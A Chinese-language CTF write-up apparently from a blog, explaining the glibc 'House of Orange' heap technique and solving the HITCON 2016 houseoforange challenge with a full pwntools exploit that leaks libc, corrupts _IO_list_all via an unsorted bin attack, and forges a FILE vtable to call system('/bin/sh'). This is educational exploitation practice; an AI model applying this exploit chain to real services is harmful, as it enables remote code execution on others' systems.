House of Orange
2022-03-29 19:07:04

House of Orange

House of Orange的核心在于没有free函数的情况下获得一个释放的堆块(unsorted bin)

原理:

在当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原本的top chunk会被释放并放入unsorted bin中

==》在没有free函数的情况下获取到unsorted bin

详细过程==》

程序中的malloc调用会执行到libc.so中的_int_malloc函数中==》

接下来依次检验fastbin ,small bin,unsorted bin,large bin是否满足分配要求==》都不满足

==》_int_malloc函数会试图使用top chunk ==》top chunk不满足==》

执行:

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

==》ptmalloc已经不能满足用户申请堆内存的操作==》执行sysmalloc向系统申请个别更多的空间==》

==》对于堆有mmap和brk两种申请方式,需要使用brk的形式扩展==》使原有的top chunk置于unsorted bin中

绕过检查:

1、malloc的尺寸不能大于mmp_.mmap_threshold==》

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的chunk大小大于mmap分配阈值(默认128k),并且当前进程使用mmap()分配的内存块小于设定的最大值==》将使用mmap()系统调用直接向操作系统申请内存

2、sysmalloc中对top chunk size的检查:

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

==》检查top chunk的合法性==》

如果第一次调用本函数==》top chunk可能没有初始化,old_size就会为0

==》

如果top chunk已经初始化了==》top chunk的大小必须大于等于MINSIZE,因为在top chunk中已经包含了fencepost==》top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的

==》top chunk除去fencepost的大小必定小于所需的chunk的大小,否则在_int_mallic函数中会使用top chunk分割出来的chunk

绕过检查总结:

===》

伪造top chunk size需求:

1、伪造的size必须对齐至内存页

2、size要大于MINSIZE(0x10)

3、size要小于之后申请的chunk size+MINSIZE(0x10)

4、size的prev inuse位必须为1

之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中

对齐内存页:

现代操作系统都是以内存页为单位进行内存管理==》

一般内存页大小为4kb==》伪造的size必须对齐这个尺寸

例:

0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000020fe1 <== top chunk
0x602030:   0x0000000000000000  0x0000000000000000

==》0x602020+0x20fe1=0x623000对于0x1000(4kb)对齐

==》伪造的fake_size可以是0x00fe1,0x10fe1,0x40fe1等

demo:

#include <stdlib.h>
#define fake_size 0x1fe1

int main(void)
{
    void *ptr;

    ptr=malloc(0x10);
    ptr=(void *)((long long)ptr+24);

    *((long long*)ptr)=fake_size;

    malloc(0x2000);

    malloc(0x60);
}

申请一个0x10的chunk:

ptr定位至top chunk size

没修改前:

修改后:

修改top chunk size:

申请0x2000的chunk:

top chunk size不能满足0x2010的需求,被置入unsorted bin中,fd和bk都指向unsorted bin addr

再次申请0x60的chunk:

这次分配的内存由unsorted bin中切割

==》并且在这个0x71的chunk中还包含着unsorted bin的残余指针

==》

之后利用_IO_FILE

例题:

houseoforange_hitcon_2016

1、检查保护:

2、静态分析:

主函数:

创建函数:

修改功能:

动态调试及思路:

程序edit功能出现任意长度溢出

程序中没有free功能

==》

使用house of orange==>

修改top chunk的size==>

==》申请一个chunk:

add(0x30,'aaaa\n',0x1234,0xDDAA)

==》通过修改功能溢出实现篡改top chunk 的size域:(注意内存对齐)

payload='a'*0x30+p64(0)+p64(0x21)+p32(666)+p32(0xDDAA)+p64(0)*2+p64(0xf81)
edit(len(payload),payload,666,0xDDAA)

==》触发mmap,将old top chunk释放至unsorted:

add(0x1000,'b',0x1234,0xDDAA)

注意点:程序申请了两个0x20的chunk

===》将unsorted bin中的old top chunk申请一部分:

add(0x400,'a'*8,0x1234,0xDDAA)

==》泄漏地址:

show()

leak_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(leak_addr)

==》通过泄漏出的地址获得malloc_hook地址和libc基地址

malloc_hook=leak_addr-0x668-0x10

libcbase=malloc_hook-libc.sym['__malloc_hook']

==》获取切割old top chunk 的0x400的chunk的地址:

此时的堆栈情况:

==》修改IO_list_all指针来控制异常处理流程到指定的函数:

==》先覆盖至unsorted bin,将bin中的chunk的size修改为0x60

==>0x60原因:属于small bin范围

payload='a'*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
payload+='/bin/sh\x00'+p64(0x61)
edit(len(payload), payload, 666, 2)

==》修改unsorted bin的bk指针为IO_list_all - 0x10:

payload+=p64(0)+p64(io_list_all-0x10)
edit(len(payload), payload, 666, 2)

==》绕过fp->_IO_write_ptr > fp->_IO_write_base

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
      || (_IO_vtable_offset (fp) == 0
          && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                               > fp->_wide_data->_IO_write_base))
      )
     && _IO_OVERFLOW (fp, EOF) == EOF)
//当前的fp指针作为_IO_OVERFLOW的参数,执行函数
payload+=p64(0)+p64(1)
edit(len(payload), payload, 666, 2)

fp==》指向当前_IO_FILE_plus的结构体的指针==>binsh存放位置

构造:

fake_file = '/bin/sh\x00'+p64(0x61)#修改unsorted bin中的chunk size为0x60
fake_file += p64(0)+p64(io_list_all-0x10)#覆盖bk指针
fake_file += p64(0) + p64(1)#绕过检查
fake_file = fake_file.ljust(0xc0,'\x00')

==》这里的vtable指向我们能控制得内存地址即可,然后伪造一个vtable:

fake_file+=p64(heap_base+0x5f0)
fake_file += p64(0) * 3
#填充__dummy,dummy2,__finish
fake_file += p64(system)#覆盖__overflow


#fake_file+=p64(heap_base+0x5e8)
#当指向0x5e8时,该地址将被当作__dummy
fake_file+=p64(0)*2
#覆盖__dummy2,__finish
fake_file+=p64(system)#覆盖__overflow

总构造图解:

exp:

#coding=UTF-8
from pwn import *
#context(arch='amd64', os='linux', log_level='debug')

io=process('./houseoforange_hitcon_2016')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

#io=remote('node4.buuoj.cn',25009)
#libc=ELF('./libc-2.23.so')

def add(size,content,price,color):
	io.recvuntil("Your choice : ")
	io.sendline('1')
	io.recvuntil("Length of name :")
	io.sendline(str(size))
	io.recvuntil("Name :")
	io.send(content)
	io.recvuntil("Price of Orange:")
	io.sendline(str(price))
	io.recvuntil("Color of Orange:")
	io.sendline(str(color))

def show():
	io.recvuntil("Your choice : ")
	io.sendline('2')

def edit(size,content,price,color):
	io.recvuntil("Your choice : ")
	io.sendline('3')
	io.recvuntil("Length of name :")
	io.sendline(str(size))
	io.recvuntil("Name:")
	io.send(content)
	io.recvuntil("Price of Orange: ")
	io.sendline(str(price))
	io.recvuntil("Color of Orange: ")
	io.sendline(str(color))

add(0x30,'aaaa\n',0x1234,0xDDAA)

payload='a'*0x30+p64(0)+p64(0x21)+p32(666)+p32(0xDDAA)+p64(0)*2+p64(0xf81)
edit(len(payload),payload,666,0xDDAA)

add(0x1000,'b\n',0x1234,0xDDAA)

add(0x400,'a'*8,199,2)
show()
io.recvuntil('a'*8)
leak_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#print hex(leak_addr)

malloc_hook=leak_addr-0x668-0x10

libcbase=malloc_hook-libc.sym['__malloc_hook']

io_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']

edit(0x10,'b'*0x10,199,2)

show()
io.recvuntil('b'*0x10)
#heap_addr=u64(io.recv(6).ljust(8,'\x00'))
heap_addr=u64(io.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base=heap_addr-0xe0
#print hex(heap_addr)


payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)

fake_file = '/bin/sh\x00'+p64(0x61)#修改unsorted bin中的chunk size为0x60
fake_file += p64(0)+p64(io_list_all-0x10)#覆盖bk指针
fake_file += p64(0) + p64(1)#绕过检查
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5f0) #vtable指针

fake_file += p64(0) * 3
fake_file += p64(system)#覆盖__OVERFLOW
payload += fake_file

edit(len(payload), payload, 666, 2)

io.recvuntil("Your choice : ")
io.sendline('1')

#gdb.attach(io)

io.interactive()

本地运行:

远程: